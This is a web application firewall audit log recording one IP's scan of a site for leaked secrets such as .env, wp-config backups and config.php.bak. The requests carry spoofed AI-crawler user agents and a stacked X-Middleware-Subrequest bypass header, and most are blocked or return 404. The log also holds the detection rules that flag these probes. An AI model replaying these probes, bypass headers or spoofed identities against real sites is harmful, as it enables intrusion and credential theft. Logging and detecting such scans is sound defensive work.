Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/config/.env.php"] [unique_id "aqZoPysVWymXUono-eRU0AAAAAs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/config/.env.php"] [unique_id "aqZoPysVWymXUono-eRU0AAAAAs"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559501552 55540 (- - -)
Stopwatch2: 1789290559501552 55540; combined=54248, p1=343, p2=53635, p3=0, p4=0, p5=269, sr=109, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--600a5c35-Z--

--598f1318-A--
[13/Sep/2026:12:09:19.581343 +0300] aqZoP2M7dE9KgIIOpQh0HgAAANU 34.73.246.242 56574 127.0.0.1 7081
--598f1318-B--
GET /.env.php.bak HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--598f1318-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--598f1318-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.php.bak"] [unique_id "aqZoP2M7dE9KgIIOpQh0HgAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.php.bak"] [unique_id "aqZoP2M7dE9KgIIOpQh0HgAAANU"]
Action: Intercepted (phase 2)
Stopwatch: 1789290559525443 55978 (- - -)
Stopwatch2: 1789290559525443 55978; combined=54644, p1=234, p2=54095, p3=0, p4=0, p5=314, sr=103, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--598f1318-Z--

--6e634c24-A--
[13/Sep/2026:12:09:19.589973 +0300] aqZoPzTJ6xTvcJoem7f6dAAAAEA 34.73.246.242 56522 127.0.0.1 7081
--6e634c24-B--
GET /laravel/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6e634c24-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6e634c24-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/laravel/.env"] [unique_id "aqZoPzTJ6xTvcJoem7f6dAAAAEA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559473231 116825 (- - -)
Stopwatch2: 1789290559473231 116825; combined=8594, p1=273, p2=8263, p3=0, p4=0, p5=58, sr=116, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6e634c24-Z--

--466bba60-A--
[13/Sep/2026:12:09:19.752856 +0300] aqZoPzTJ6xTvcJoem7f6dwAAAFE 34.73.246.242 56582 127.0.0.1 7081
--466bba60-B--
GET /core/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--466bba60-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--466bba60-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/core/.env"] [unique_id "aqZoPzTJ6xTvcJoem7f6dwAAAFE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559678540 74389 (- - -)
Stopwatch2: 1789290559678540 74389; combined=4302, p1=300, p2=3938, p3=0, p4=0, p5=63, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--466bba60-Z--

--94cd6131-A--
[13/Sep/2026:12:09:19.939175 +0300] aqZoPzTJ6xTvcJoem7f6ewAAAEY 34.73.246.242 56634 127.0.0.1 7081
--94cd6131-B--
GET /.env.swp HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--94cd6131-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--94cd6131-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.swp"] [unique_id "aqZoPzTJ6xTvcJoem7f6ewAAAEY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559869760 69482 (- - -)
Stopwatch2: 1789290559869760 69482; combined=4998, p1=931, p2=4016, p3=0, p4=0, p5=51, sr=113, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--94cd6131-Z--

--b6d0403f-A--
[13/Sep/2026:12:09:19.942422 +0300] aqZoP2M7dE9KgIIOpQh0HwAAAMU 34.73.246.242 56594 127.0.0.1 7081
--b6d0403f-B--
GET /config.php.bak HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b6d0403f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b6d0403f-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/config.php.bak"] [unique_id "aqZoP2M7dE9KgIIOpQh0HwAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559781930 160554 (- - -)
Stopwatch2: 1789290559781930 160554; combined=5697, p1=226, p2=5424, p3=0, p4=0, p5=47, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b6d0403f-Z--

--24ac5a2c-A--
[13/Sep/2026:12:09:20.006114 +0300] aqZoP2M7dE9KgIIOpQh0IAAAANE 34.73.246.242 56640 127.0.0.1 7081
--24ac5a2c-B--
GET /public/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--24ac5a2c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--24ac5a2c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/public/.env"] [unique_id "aqZoP2M7dE9KgIIOpQh0IAAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559934099 72091 (- - -)
Stopwatch2: 1789290559934099 72091; combined=4122, p1=215, p2=3847, p3=0, p4=0, p5=59, sr=81, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--24ac5a2c-Z--

--25347864-A--
[13/Sep/2026:12:09:20.042607 +0300] aqZoPzTJ6xTvcJoem7f6egAAAEk 34.73.246.242 56632 127.0.0.1 7081
--25347864-B--
GET /configuration.php.bak HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--25347864-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--25347864-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/configuration.php.bak"] [unique_id "aqZoPzTJ6xTvcJoem7f6egAAAEk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559836312 206394 (- - -)
Stopwatch2: 1789290559836312 206394; combined=5410, p1=345, p2=5004, p3=0, p4=0, p5=61, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--25347864-Z--

--79e3022c-A--
[13/Sep/2026:12:09:20.269059 +0300] aqZoQGM7dE9KgIIOpQh0IQAAAM8 34.73.246.242 56652 127.0.0.1 7081
--79e3022c-B--
GET /storage/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--79e3022c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--79e3022c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/storage/.env"] [unique_id "aqZoQGM7dE9KgIIOpQh0IQAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290560200088 69051 (- - -)
Stopwatch2: 1789290560200088 69051; combined=4442, p1=224, p2=4165, p3=0, p4=0, p5=52, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--79e3022c-Z--

--2936cf5d-A--
[13/Sep/2026:12:09:20.356777 +0300] aqZoQDTJ6xTvcJoem7f6fAAAAEQ 34.73.246.242 56654 127.0.0.1 7081
--2936cf5d-B--
GET /web/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2936cf5d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2936cf5d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/web/.env"] [unique_id "aqZoQDTJ6xTvcJoem7f6fAAAAEQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290560275019 81821 (- - -)
Stopwatch2: 1789290560275019 81821; combined=4525, p1=263, p2=4188, p3=0, p4=0, p5=74, sr=101, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2936cf5d-Z--

--f826b53c-A--
[13/Sep/2026:12:09:20.368310 +0300] aqZoQCsVWymXUono-eRU0QAAAAw 34.73.246.242 56672 127.0.0.1 7081
--f826b53c-B--
GET /wp-config.php.swp HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f826b53c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f826b53c-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZoQCsVWymXUono-eRU0QAAAAw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZoQCsVWymXUono-eRU0QAAAAw"]
Action: Intercepted (phase 2)
Stopwatch: 1789290560304115 64255 (- - -)
Stopwatch2: 1789290560304115 64255; combined=63018, p1=170, p2=62562, p3=0, p4=0, p5=286, sr=65, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f826b53c-Z--

--15bcfc50-A--
[13/Sep/2026:12:09:20.369001 +0300] aqZoQEwu1RSkptiiNIX4IAAAAIo 34.73.246.242 56664 127.0.0.1 7081
--15bcfc50-B--
GET /wp-config.php~ HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--15bcfc50-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--15bcfc50-H--
